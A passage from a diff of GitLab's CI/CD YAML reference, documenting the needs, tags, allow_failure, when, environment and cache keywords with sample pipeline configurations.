+- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests).
+- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines).
+
+#### `only:kubernetes` / `except:kubernetes`
+
+Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline
+when the Kubernetes service is active in the project.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: The `kubernetes` strategy accepts only the `active` keyword.
+
+**Example of `only:kubernetes`**:
+
+```yaml
+deploy:
+ only:
+ kubernetes: active
+```
+
+In this example, the `deploy` job runs only when the Kubernetes service is active
+in the project.
+
+### `needs`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2.
+> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately.
+
+Use `needs:` to execute jobs out-of-order. Relationships between jobs
+that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md).
+
+You can ignore stage ordering and run some jobs without waiting for others to complete.
+Jobs in multiple stages can run concurrently.
+
+The following example creates four paths of execution:
+
+- Linter: the `lint` job runs immediately without waiting for the `build` stage
+ to complete because it has no needs (`needs: []`).
+- Linux path: the `linux:rspec` and `linux:rubocop` jobs runs as soon as the `linux:build`
+ job finishes without waiting for `mac:build` to finish.
+- macOS path: the `mac:rspec` and `mac:rubocop` jobs runs as soon as the `mac:build`
+ job finishes, without waiting for `linux:build` to finish.
+- The `production` job runs as soon as all previous jobs finish; in this case:
+ `linux:build`, `linux:rspec`, `linux:rubocop`, `mac:build`, `mac:rspec`, `mac:rubocop`.
+
+```yaml
+linux:build:
+ stage: build
+ script: echo "Building linux..."
+
+mac:build:
+ stage: build
+ script: echo "Building mac..."
+
+lint:
+ stage: test
+ needs: []
+ script: echo "Linting..."
+
+linux:rspec:
+ stage: test
+ needs: ["linux:build"]
+ script: echo "Running rspec on linux..."
+
+linux:rubocop:
+ stage: test
+ needs: ["linux:build"]
+ script: echo "Running rubocop on linux..."
+
+mac:rspec:
+ stage: test
+ needs: ["mac:build"]
+ script: echo "Running rspec on mac..."
+
+mac:rubocop:
+ stage: test
+ needs: ["mac:build"]
+ script: echo "Running rubocop on mac..."
+
+production:
+ stage: deploy
+ script: echo "Running production..."
+```
+
+#### Requirements and limitations
+
+- In [GitLab 14.1 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632)
+ you can refer to jobs in the same stage as the job you are configuring. This feature
+ is [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+- Disabled on GitLab.com.
+- Not recommended for production use.
+- For GitLab self-managed instances, GitLab adminsitrators
+ can choose to [disable it](#enable-or-disable-needs-for-jobs-in-the-same-stage)
+- In GitLab 14.0 and older, you can only refer to jobs in earlier stages.
+- In GitLab 13.9 and older, if `needs:` refers to a job that might not be added to
+ a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create.
+- The maximum number of jobs that a single job can need in the `needs:` array is limited:
+ - For GitLab.com, the limit is 50. For more information, see our
+ [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541).
+ - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit).
+- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword,
+ it depends on all jobs created in parallel, not just one job. It also downloads
+ artifacts from all the parallel jobs by default. If the artifacts have the same
+ name, they overwrite each other and only the last one downloaded is saved.
+- `needs:` is similar to `dependencies:` in that it must use jobs from prior stages,
+ meaning it's impossible to create circular dependencies. Depending on jobs in the
+ current stage is not possible either, but support [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/30632).
+- Stages must be explicitly defined for all jobs
+ that have the keyword `needs:` or are referred to by one.
+
+##### Enable or disable `needs` for jobs in the same stage **(FREE SELF)**
+
+`needs` for jobs in the same stage is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails
+console](../../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+`Feature.enable(:ci_same_stage_job_needs)`
+
+To disable it:
+
+`Feature.disable(:ci_same_stage_job_needs)`
+
+##### Changing the `needs:` job limit **(FREE SELF)**
+
+The maximum number of jobs that can be defined in `needs:` defaults to 50.
+
+A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md)
+can choose a custom limit. For example, to set the limit to 100:
+
+```ruby
+Plan.default.actual_limits.update!(ci_needs_size_limit: 100)
+```
+
+To disable directed acyclic graphs (DAG), set the limit to `0`.
+
+#### Artifact downloads with `needs`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6.
+
+When a job uses `needs`, it no longer downloads all artifacts from previous stages
+by default, because jobs with `needs` can start before earlier stages complete. With
+`needs` you can only download artifacts from the jobs listed in the `needs:` configuration.
+
+Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are
+downloaded in jobs that use `needs`.
+
+In the following example, the `rspec` job downloads the `build_job` artifacts, but the
+`rubocop` job does not:
+
+```yaml
+build_job:
+ stage: build
+ artifacts:
+ paths:
+ - binaries/
+
+rspec:
+ stage: test
+ needs:
+ - job: build_job
+ artifacts: true
+
+rubocop:
+ stage: test
+ needs:
+ - job: build_job
+ artifacts: false
+```
+
+In the following example, the `rspec` job downloads the artifacts from all three `build_jobs`.
+`artifacts` is:
+
+- Set to true for `build_job_1`.
+- Defaults to true for both `build_job_2` and `build_job_3`.
+
+```yaml
+rspec:
+ needs:
+ - job: build_job_1
+ artifacts: true
+ - job: build_job_2
+ - build_job_3
+```
+
+In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword
+with `needs`.
+
+#### Cross project artifact downloads with `needs` **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.7.
+
+Use `needs` to download artifacts from up to five jobs in pipelines:
+
+- [On other refs in the same project](#artifact-downloads-between-pipelines-in-the-same-project).
+- In different projects, groups and namespaces.
+
+```yaml
+build_job:
+ stage: build
+ script:
+ - ls -lhR
+ needs:
+ - project: namespace/group/project-name
+ job: build-1
+ ref: main
+ artifacts: true
+```
+
+`build_job` downloads the artifacts from the latest successful `build-1` job
+on the `main` branch in the `group/project-name` project. If the project is in the
+same group or namespace, you can omit them from the `project:` keyword. For example,
+`project: group/project-name` or `project: project-name`.
+
+The user running the pipeline must have at least `reporter` access to the group or project, or the group/project must have public visibility.
+
+##### Artifact downloads between pipelines in the same project
+
+Use `needs` to download artifacts from different pipelines in the current project.
+Set the `project` keyword as the current project's name, and specify a ref.
+
+In the following example, `build_job` downloads the artifacts for the latest successful
+`build-1` job with the `other-ref` ref:
+
+```yaml
+build_job:
+ stage: build
+ script:
+ - ls -lhR
+ needs:
+ - project: group/same-project-name
+ job: build-1
+ ref: other-ref
+ artifacts: true
+```
+
+CI/CD variable support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093)
+in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4.
+
+For example:
+
+```yaml
+build_job:
+ stage: build
+ script:
+ - ls -lhR
+ needs:
+ - project: $CI_PROJECT_PATH
+ job: $DEPENDENCY_JOB_NAME
+ ref: $ARTIFACTS_DOWNLOAD_REF
+ artifacts: true
+```
+
+You can't download artifacts from jobs that run in [`parallel:`](#parallel).
+
+To download artifacts between [parent-child pipelines](../pipelines/parent_child_pipelines.md),
+use [`needs:pipeline`](#artifact-downloads-to-child-pipelines).
+
+You should not download artifacts from the same ref as a running pipeline. Concurrent
+pipelines running on the same ref could override the artifacts.
+
+#### Artifact downloads to child pipelines
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7.
+
+A [child pipeline](../pipelines/parent_child_pipelines.md) can download artifacts from a job in
+its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy.
+
+For example, with the following parent pipeline that has a job that creates some artifacts:
+
+```yaml
+create-artifact:
+ stage: build
+ script: echo 'sample artifact' > artifact.txt
+ artifacts:
+ paths: [artifact.txt]
+
+child-pipeline:
+ stage: test
+ trigger:
+ include: child.yml
+ strategy: depend
+ variables:
+ PARENT_PIPELINE_ID: $CI_PIPELINE_ID
+```
+
+A job in the child pipeline can download artifacts from the `create-artifact` job in
+the parent pipeline:
+
+```yaml
+use-artifact:
+ script: cat artifact.txt
+ needs:
+ - pipeline: $PARENT_PIPELINE_ID
+ job: create-artifact
+```
+
+The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present
+in the same parent-child pipeline hierarchy of the given pipeline.
+
+The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`).
+To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs).
+
+#### Optional `needs`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0.
+
+To need a job that sometimes does not exist in the pipeline, add `optional: true`
+to the `needs` configuration. If not defined, `optional: false` is the default.
+
+Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might
+not always exist in a pipeline. When the pipeline starts, it checks the `needs`
+relationships before running. Without `optional: true`, needs relationships that
+point to a job that does not exist stops the pipeline from starting and causes a pipeline
+error similar to:
+
+- `'job1' job needs 'job2' job, but it was not added to the pipeline`
+
+In this example:
+
+- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec`
+ job waits for it to complete before starting.
+- When the branch is not the default branch, the `build` job does not exist in the pipeline.
+ The `rspec` job runs immediately (similar to `needs: []`) because its `needs`
+ relationship to the `build` job is optional.
+
+```yaml
+build:
+ stage: build
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
+rspec:
+ stage: test
+ needs:
+ - job: build
+ optional: true
+```
+
+### `tags`
+
+Use `tags` to select a specific runner from the list of all runners that are
+available for the project.
+
+When you register a runner, you can specify the runner's tags, for
+example `ruby`, `postgres`, `development`.
+
+In the following example, the job is run by a runner that
+has both `ruby` and `postgres` tags defined.
+
+```yaml
+job:
+ tags:
+ - ruby
+ - postgres
+```
+
+You can use tags to run different jobs on different platforms. For
+example, if you have an OS X runner with tag `osx` and a Windows runner with tag
+`windows`, you can run a job on each platform:
+
+```yaml
+windows job:
+ stage:
+ - build
+ tags:
+ - windows
+ script:
+ - echo Hello, %USERNAME%!
+
+osx job:
+ stage:
+ - build
+ tags:
+ - osx
+ script:
+ - echo "Hello, $USER!"
+```
+
+### `allow_failure`
+
+Use `allow_failure` when you want to let a job fail without impacting the rest of the CI
+suite. The default value is `false`, except for [manual](#whenmanual) jobs that use
+the `when: manual` syntax.
+
+In jobs that use [`rules:`](#rules), all jobs default to `allow_failure: false`,
+*including* `when: manual` jobs.
+
+When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI.
+However, the logical flow of the pipeline considers the job a
+success/passed, and is not blocked.
+
+Assuming all other jobs are successful, the job's stage and its pipeline
+show the same orange warning. However, the associated commit is marked as
+"passed", without warnings.
+
+In the following example, `job1` and `job2` run in parallel. If `job1`
+fails, it doesn't stop the next stage from running, because it's marked with
+`allow_failure: true`:
+
+```yaml
+job1:
+ stage: test
+ script:
+ - execute_script_that_will_fail
+ allow_failure: true
+
+job2:
+ stage: test
+ script:
+ - execute_script_that_will_succeed
+
+job3:
+ stage: deploy
+ script:
+ - deploy_to_staging
+```
+
+#### `allow_failure:exit_codes`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9.
+
+Use `allow_failure:exit_codes` to dynamically control if a job should be allowed
+to fail. You can list which exit codes are not considered failures. The job fails
+for any other exit code:
+
+```yaml
+test_job_1:
+ script:
+ - echo "Run a script that results in exit code 1. This job fails."
+ - exit 1
+ allow_failure:
+ exit_codes: 137
+
+test_job_2:
+ script:
+ - echo "Run a script that results in exit code 137. This job is allowed to fail."
+ - exit 137
+ allow_failure:
+ exit_codes:
+ - 137
+ - 255
+```
+
+### `when`
+
+Use `when` to implement jobs that run in case of failure or despite the
+failure.
+
+The valid values of `when` are:
+
+1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed,
+ or are considered successful because they have `allow_failure: true`.
+1. `on_failure` - Execute job only when at least one job in an earlier stage fails.
+1. `always` - Execute job regardless of the status of jobs in earlier stages.
+1. `manual` - Execute job [manually](#whenmanual).
+1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration.
+ Added in GitLab 11.14.
+1. `never`:
+ - With job [`rules`](#rules), don't execute job.
+ - With [`workflow:rules`](#workflow), don't run pipeline.
+
+In the following example, the script:
+
+1. Executes `cleanup_build_job` only when `build_job` fails.
+1. Always executes `cleanup_job` as the last step in pipeline regardless of
+ success or failure.
+1. Executes `deploy_job` when you run it manually in the GitLab UI.
+
+```yaml
+stages:
+ - build
+ - cleanup_build
+ - test
+ - deploy
+ - cleanup
+
+build_job:
+ stage: build
+ script:
+ - make build
+
+cleanup_build_job:
+ stage: cleanup_build
+ script:
+ - cleanup build when failed
+ when: on_failure
+
+test_job:
+ stage: test
+ script:
+ - make test
+
+deploy_job:
+ stage: deploy
+ script:
+ - make deploy
+ when: manual
+
+cleanup_job:
+ stage: cleanup
+ script:
+ - cleanup after jobs
+ when: always
+```
+
+#### `when:manual`
+
+A manual job is a type of job that is not executed automatically and must be explicitly
+started by a user. You might want to use manual jobs for things like deploying to production.
+
+To make a job manual, add `when: manual` to its configuration.
+
+When the pipeline starts, manual jobs display as skipped and do not run automatically.
+They can be started from the pipeline, job, [environment](../environments/index.md#configure-manual-deployments),
+and deployment views.
+
+Manual jobs can be either optional or blocking:
+
+- **Optional**: Manual jobs have [`allow_failure: true](#allow_failure) set by default
+ and are considered optional. The status of an optional manual job does not contribute
+ to the overall pipeline status. A pipeline can succeed even if all its manual jobs fail.
+
+- **Blocking**: To make a blocking manual job, add `allow_failure: false` to its configuration.
+ Blocking manual jobs stop further execution of the pipeline at the stage where the
+ job is defined. To let the pipeline continue running, click **{play}** (play) on
+ the blocking manual job.
+
+ Merge requests in projects with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md)
+ enabled can't be merged with a blocked pipeline. Blocked pipelines show a status
+ of **blocked**.
+
+When you use [`rules:`](#rules), `allow_failure` defaults to `false`, including for manual jobs.
+
+To trigger a manual job, a user must have permission to merge to the assigned branch.
+You can use [protected branches](../../user/project/protected_branches.md) to more strictly
+[protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users.
+
+In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
+can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and
+earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
+
+##### Protecting manual jobs **(PREMIUM)**
+
+Use [protected environments](../environments/protected_environments.md)
+to define a list of users authorized to run a manual job. You can authorize only
+the users associated with a protected environment to trigger manual jobs, which can:
+
+- More precisely limit who can deploy to an environment.
+- Block a pipeline until an approved user "approves" it.
+
+To protect a manual job:
+
+1. Add an `environment` to the job. For example:
+
+ ```yaml
+ deploy_prod:
+ stage: deploy
+ script:
+ - echo "Deploy to production server"
+ environment:
+ name: production
+ url: https://example.com
+ when: manual
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ ```
+
+1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments),
+ select the environment (`production` in this example) and add the users, roles or groups
+ that are authorized to trigger the manual job to the **Allowed to Deploy** list. Only those in
+ this list can trigger this manual job, as well as GitLab administrators
+ who are always able to use protected environments.
+
+You can use protected environments with blocking manual jobs to have a list of users
+allowed to approve later pipeline stages. Add `allow_failure: false` to the protected
+manual job and the pipeline's next stages only run after the manual job is triggered
+by authorized users.
+
+#### `when:delayed`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4.
+
+Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid
+jobs immediately entering the `pending` state.
+
+You can set the period with `start_in` keyword. The value of `start_in` is an elapsed time in seconds, unless a unit is
+provided. `start_in` must be less than or equal to one week. Examples of valid values include:
+
+- `'5'`
+- `5 seconds`
+- `30 minutes`
+- `1 day`
+- `1 week`
+
+When a stage includes a delayed job, the pipeline doesn't progress until the delayed job finishes.
+You can use this keyword to insert delays between different stages.
+
+The timer of a delayed job starts immediately after the previous stage completes.
+Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passes.
+
+The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage completes:
+
+```yaml
+timed rollout 10%:
+ stage: deploy
+ script: echo 'Rolling out 10% ...'
+ when: delayed
+ start_in: 30 minutes
+```
+
+To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button.
+This job can no longer be scheduled to run automatically. You can, however, execute the job manually.
+
+To start a delayed job immediately, click the **Play** button.
+Soon GitLab Runner picks up and starts the job.
+
+### `environment`
+
+Use `environment` to define the [environment](../environments/index.md) that a job deploys to.
+For example:
+
+```yaml
+deploy to production:
+ stage: deploy
+ script: git push production HEAD:main
+ environment: production
+```
+
+You can assign a value to the `environment` keyword by using:
+
+- Plain text, like `production`.
+- Variables, including CI/CD variables, predefined, secure, or variables
+ defined in the `.gitlab-ci.yml` file.
+
+You can't use variables defined in a `script` section.
+
+If you specify an `environment` and no environment with that name exists,
+an environment is created.
+
+#### `environment:name`
+
+Set a name for an [environment](../environments/index.md). For example:
+
+```yaml
+deploy to production:
+ stage: deploy
+ script: git push production HEAD:main
+ environment:
+ name: production
+```
+
+Common environment names are `qa`, `staging`, and `production`, but you can use any
+name you want.
+
+You can assign a value to the `name` keyword by using:
+
+- Plain text, like `staging`.
+- Variables, including CI/CD variables, predefined, secure, or variables
+ defined in the `.gitlab-ci.yml` file.
+
+You can't use variables defined in a `script` section.
+
+The environment `name` can contain:
+
+- Letters
+- Digits
+- Spaces
+- `-`
+- `_`
+- `/`
+- `$`
+- `{`
+- `}`
+
+#### `environment:url`
+
+Set a URL for an [environment](../environments/index.md). For example:
+
+```yaml
+deploy to production:
+ stage: deploy
+ script: git push production HEAD:main
+ environment:
+ name: production
+ url: https://prod.example.com
+```
+
+After the job completes, you can access the URL by using a button in the merge request,
+environment, or deployment pages.
+
+You can assign a value to the `url` keyword by using:
+
+- Plain text, like `https://prod.example.com`.
+- Variables, including CI/CD variables, predefined, secure, or variables
+ defined in the `.gitlab-ci.yml` file.
+
+You can't use variables defined in a `script` section.
+
+#### `environment:on_stop`
+
+Closing (stopping) environments can be achieved with the `on_stop` keyword
+defined under `environment`. It declares a different job that runs to close the
+environment.
+
+Read the `environment:action` section for an example.
+
+#### `environment:action`
+
+Use the `action` keyword to specify jobs that prepare, start, or stop environments.
+
+| **Value** | **Description** |
+|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. |
+| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). |
+| `stop` | Indicates that job stops deployment. See the example below. |
+
+Take for instance:
+
+```yaml
+review_app:
+ stage: deploy
+ script: make deploy-app
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ url: https://$CI_ENVIRONMENT_SLUG.example.com
+ on_stop: stop_review_app
+
+stop_review_app:
+ stage: deploy
+ variables:
+ GIT_STRATEGY: none
+ script: make delete-app
+ when: manual
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ action: stop
+```
+
+In the above example, the `review_app` job deploys to the `review`
+environment. A new `stop_review_app` job is listed under `on_stop`.
+After the `review_app` job is finished, it triggers the
+`stop_review_app` job based on what is defined under `when`. In this case,
+it is set to `manual`, so it needs a [manual action](#whenmanual) from
+the GitLab UI to run.
+
+Also in the example, `GIT_STRATEGY` is set to `none`. If the
+`stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment),
+the runner won't try to check out the code after the branch is deleted.
+
+The example also overwrites global variables. If your `stop` `environment` job depends
+on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
+to change the job without overriding the global variables.
+
+The `stop_review_app` job is **required** to have the following keywords defined:
+
+- `when`, defined at either:
+ - [The job level](#when).
+ - [In a rules clause](#rules). If you use `rules:` and `when: manual`, you should
+ also set [`allow_failure: true`](#allow_failure) so the pipeline can complete
+ even if the job doesn't run.
+- `environment:name`
+- `environment:action`
+
+Additionally, both jobs should have matching [`rules`](#only--except)
+or [`only/except`](#only--except) configuration.
+
+In the examples above, if the configuration is not identical:
+
+- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job.
+- It is not possible to trigger the `action: stop` to stop the environment automatically.
+
+#### `environment:auto_stop_in`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8.
+
+The `auto_stop_in` keyword is for specifying the lifetime of the environment,
+that when expired, GitLab automatically stops them.
+
+For example,
+
+```yaml
+review_app:
+ script: deploy-review-app
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ auto_stop_in: 1 day
+```
+
+When the environment for `review_app` is created, the environment's lifetime is set to `1 day`.
+Every time the review app is deployed, that lifetime is also reset to `1 day`.
+
+For more information, see
+[the environments auto-stop documentation](../environments/index.md#stop-an-environment-after-a-certain-time-period)
+
+#### `environment:kubernetes`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6.
+
+Use the `kubernetes` keyword to configure deployments to a
+[Kubernetes cluster](../../user/project/clusters/index.md) that is associated with your project.
+
+For example:
+
+```yaml
+deploy:
+ stage: deploy
+ script: make deploy-app
+ environment:
+ name: production
+ kubernetes:
+ namespace: production
+```
+
+This configuration sets up the `deploy` job to deploy to the `production`
+environment, using the `production`
+[Kubernetes namespace](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/).
+
+For more information, see
+[Available settings for `kubernetes`](../environments/index.md#configure-kubernetes-deployments).
+
+NOTE:
+Kubernetes configuration is not supported for Kubernetes clusters
+that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters).
+To follow progress on support for GitLab-managed clusters, see the
+[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054).
+
+#### `environment:deployment_tier`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10.
+
+Use the `deployment_tier` keyword to specify the tier of the deployment environment:
+
+```yaml
+deploy:
+ script: echo
+ environment:
+ name: customer-portal
+ deployment_tier: production
+```
+
+For more information,
+see [Deployment tier of environments](../environments/index.md#deployment-tier-of-environments).
+
+#### Dynamic environments
+
+Use CI/CD [variables](../variables/index.md) to dynamically name environments.
+
+For example:
+
+```yaml
+deploy as review app:
+ stage: deploy
+ script: make deploy
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ url: https://$CI_ENVIRONMENT_SLUG.example.com/
+```
+
+The `deploy as review app` job is marked as a deployment to dynamically
+create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME`
+is a [CI/CD variable](../variables/index.md) set by the runner. The
+`$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable
+for inclusion in URLs. If the `deploy as review app` job runs in a branch named
+`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`.
+
+The common use case is to create dynamic environments for branches and use them
+as Review Apps. You can see an example that uses Review Apps at
+<https://gitlab.com/gitlab-examples/review-apps-nginx/>.
+
+### `cache`
+
+Use `cache` to specify a list of files and directories to
+cache between jobs. You can only use paths that are in the local working copy.
+
+Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
+
+Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md).
+
+#### `cache:paths`
+
+Use the `cache:paths` keyword to choose which files or directories to cache.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: An array of paths relative to the project directory (`$CI_PROJECT_DIR`).
+You can use wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+patterns:
+
+- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
+[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
+- In GitLab Runner 12.10 and earlier,
+[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
+
+**Example of `cache:paths`**:
+
+Cache all files in `binaries` that end in `.apk` and the `.config` file:
+
+```yaml
+rspec:
+ script:
+ - echo "This job uses a cache."
+ cache:
+ key: binaries-cache
+ paths:
+ - binaries/*.apk
+ - .config
+```
+
+**Related topics**:
+
+- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
+ `cache:paths` examples.
+
+#### `cache:key`
+
+Use the `cache:key` keyword to give each cache a unique identifying key. All jobs
+that use the same cache key use the same cache, including in different pipelines.
+
+If not set, the default key is `default`. All jobs with the `cache:` keyword but
+no `cache:key` share the `default` cache.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- A string.
+- A [predefined variables](../variables/index.md).
+- A combination of both.
+
+**Example of `cache:key`**:
+
+```yaml
+cache-job:
+ script:
+ - echo "This job uses a cache."
+ cache:
+ key: binaries-cache-$CI_COMMIT_REF_SLUG
+ paths:
+ - binaries/
+```
+
+**Additional details**:
+
+- If you use **Windows Batch** to run your shell scripts you need to replace
+ `$` with `%`. For example: `key: %CI_COMMIT_REF_SLUG%`
+- The `cache:key` value can't contain:
+
+ - The `/` character, or the equivalent URI-encoded `%2F`.
+ - Only the `.` character (any number), or the equivalent URI-encoded `%2E`.
+
+- The cache is shared between jobs, so if you're using different
+ paths for different jobs, you should also set a different `cache:key`.
+ Otherwise cache content can be overwritten.
+
+**Related topics**:
+
+- You can specify a [fallback cache key](../caching/index.md#use-a-fallback-cache-key)
+ to use if the specified `cache:key` is not found.
+- You can [use multiple cache keys](../caching/index.md#use-multiple-caches) in a single job.
+- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
+ `cache:key` examples.
+
+##### `cache:key:files`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5.
+
+Use the `cache:key:files` keyword to generate a new key when one or two specific files
+change. `cache:key:files` lets you reuse some caches, and rebuild them less often,
+which speeds up subsequent pipeline runs.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: An array of one or two file paths.
+
+**Example of `cache:key:files`**:
+
+```yaml
+cache-job:
+ script:
+ - echo "This job uses a cache."
+ cache:
+ key:
+ files:
+ - Gemfile.lock
+ - package.json
+ paths:
+ - vendor/ruby
+ - node_modules
+```
+
+This example creates a cache for Ruby and Node.js dependencies. The cache
+is tied to the current versions of the `Gemfile.lock` and `package.json` files. When one of
+these files changes, a new cache key is computed and a new cache is created. Any future
+job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files`
+use the new cache, instead of rebuilding the dependencies.
+
+**Additional details**: The cache `key` is a SHA computed from the most recent commits
+that changed each listed file. If neither file is changed in any commits, the
+fallback key is `default`.
+
+##### `cache:key:prefix`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5.
+
+Use `cache:key:prefix` to combine a prefix with the SHA computed for [`cache:key:files`](#cachekeyfiles).
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- A string
+- A [predefined variables](../variables/index.md)
+- A combination of both.
+
+**Example of `cache:key:prefix`**:
+
+```yaml
+rspec:
+ script:
+ - echo "This rspec job uses a cache."
+ cache:
+ key:
+ files:
+ - Gemfile.lock
+ prefix: $CI_JOB_NAME
+ paths:
+ - vendor/ruby
+```
+
+For example, adding a `prefix` of `$CI_JOB_NAME` causes the key to look like `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
+If a branch changes `Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`.
+A new cache key is generated, and a new cache is created for that key. If `Gemfile.lock`
+is not found, the prefix is added to `default`, so the key in the example would be `rspec-default`.
+
+**Additional details**: If no file in `cache:key:files` is changed in any commits,
+the prefix is added to the `default` key.
+
+#### `cache:untracked`
+
+Use `untracked: true` to cache all files that are untracked in your Git repository:
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: `true` or `false` (default).
+
+**Example of `cache:untracked`**:
+
+```yaml
+rspec:
+ script: test
+ cache:
+ untracked: true
+```
+
+**Additional details**:
+
+- You can combine `cache:untracked` with `cache:paths` to cache all untracked files
+ as well as files in the configured paths. For example:
+
+ ```yaml
+ rspec:
+ script: test
+ cache:
+ untracked: true
+ paths:
+ - binaries/
+ ```
+
+#### `cache:when`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0.
+
+Use `cache:when` to define when to save the cache, based on the status of the job.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- `on_success` (default): Save the cache only when the job succeeds.
+- `on_failure`: Save the cache only when the job fails.
+- `always`: Always save the cache.
+
+**Example of `cache:when`**:
+
+```yaml
+rspec:
+ script: rspec
+ cache:
+ paths:
+ - rspec/
+ when: 'always'
+```
+
